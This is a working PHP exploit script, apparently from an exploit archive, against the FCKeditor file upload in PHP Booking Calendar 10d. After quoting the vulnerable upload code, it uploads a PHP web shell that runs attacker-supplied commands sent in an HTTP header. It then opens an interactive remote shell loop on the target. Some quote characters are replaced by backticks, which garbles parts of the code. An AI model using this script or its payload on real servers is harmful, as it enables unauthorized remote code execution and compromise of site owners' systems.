PHP Booking Calendar 10 d (fckeditor) Arbitrary File Upload Exploit<?php
/*
 --------------------------------------------------------------
 PHP Booking Calendar 10 d (fckeditor) Arbitrary File Upload Exploit
 --------------------------------------------------------------
 
  Special thnx for : Egix
 [-] vulnerable code in /[path]/fckeditor/editor/filemanager/upload/php/upload.php
 
 41. // Get the posted file.
 42. $oFile = $_FILES['NewFile'] ;
 43.
 44. // Get the uploaded file name and extension.
 45. $sFileName = $oFile['name'] ;
 46. $sOriginalFileName = $sFileName ;
 47. $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
 48. $sExtension = strtolower( $sExtension ) ;
 49.
 50. // The the file type (from the QueryString, by default 'File').
 51. $sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
 52.
 53. // Check if it is an allowed type.
 54. if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
 55.     SendResults( 1, '', '', 'Invalid type specified' ) ;
 56.
 57. // Get the allowed and denied extensions arrays.
 58. $arAllowed = $Config['AllowedExtensions'][$sType] ;
 59. $arDenied = $Config['DeniedExtensions'][$sType] ;
 60.
 61. // Check if it is an allowed extension.
 62. if ( ( count($arAllowed) > 0 &amp;&amp; !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 &amp;&amp; in_array( $sExtension, $arDenied ) ) )
 63.  SendResults( '202' ) ;
 64.
 65. $sErrorNumber = '0' ;
 66. $sFileUrl  = '' ;
 67.
 68. // Initializes the counter used to rename the file, if another one with the same name already exists.
 69. $iCounter = 0 ;
 70.
 71. // The the target directory.
 72. if ( isset( $Config['UserFilesAbsolutePath'] ) )
 73.  $sServerDir = $Config['UserFilesAbsolutePath'] ;
 74. else
 75.  //$sServerDir = GetRootPath() . $Config[`UserFilesPath`] ;
 76.  $sServerDir = $Config[`UserFilesPath`] ;
 77.
 78. while ( true )
 79. {
 80.  // Compose the file path.
 81.  $sFilePath = $sServerDir . $sFileName ;
 82.
 83.  // If a file with that name already exists.
 84.  if ( is_file( $sFilePath ) )
 85.  {
 86.   $iCounter++ ;
 87.   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
 88.   $sErrorNumber = '201' ;
 89.  }
 90.  else
 91.  {
 92.   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
 93.
 94.   if ( is_file( $sFilePath ) )
 95.   {
 96.    $oldumask = umask(0) ;
 97.    chmod( $sFilePath, 0777 ) ;
 98.    umask( $oldumask ) ;
 99.   }
 100.  
 101.   $sFileUrl = $Config[`UserFilesPath`] . $sFileName ;
 102.
 103.   break ;
 
 with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code
*/
error_reporting(0);
set_time_limit(0);
ini_set(`default_socket_timeout`, 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print `\n[-] No response from {$host}:80 Trying again...`;
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print `\n+------------------------------------------------------------+`;
print `\n|PHP Booking Calendar 10d Arbitrary File Upload Exploit by Stack |`;
print `\n+------------------------------------------------------------+\n`;
if ($argc < 2)
{
 print `\nUsage......: php $argv[0] host path`;
 print `\nExample....: php $argv[0] localhost /booking_calendar/\n`;
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = `--12345\r\n`;
$data .= `Content-Disposition: form-data; name=\`NewFile\`; filename=\`s.php.he.ll\`\r\n`;
$data .= `Content-Type: application/octet-stream\r\n\r\n`;
$data .= `<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n`;
$data .= `--12345--\r\n`;
$packet  = `POST {$path}/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n`;
$packet .= `Host: {$host}\r\n`;
$packet .= `Content-Length: `.strlen($data).`\r\n`;
$packet .= `Content-Type: multipart/form-data; boundary=12345\r\n`;
$packet .= `Connection: close\r\n\r\n`;
$packet .= $data;
preg_match(`/OnUploadCompleted\((.*),\`(.*)\`,\`(.*)\`,/i`, http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die(`\n[-] Upload failed! (Error {$html[1]})\n`);
else print `\n[-] Shell uploaded to {$html[2]}...starting it!\n`;
define(STDIN, fopen(`php://stdin`, `r`));
while(1)
{
 print `\nstack-shell# `;
 $cmd = trim(fgets(STDIN));
 if ($cmd != `exit`)
 {
  $packet = `GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n`;
  $packet.= `Host: {$host}\r\n`;
  $packet.= `Cmd: `.base64_encode($cmd).`\r\n`;
  $packet.= `Connection: close\r\n\r\n`;
  $output = http_send($host, $packet);
  if (eregi(`print`, $output) || !eregi(`_code_`, $output)) die(`\n[-] Exploit failed...\n`);
  $shell = explode(`_code_`, $output);
  print `\n{$shell[1]}`;
 }
 else break;
}
?>

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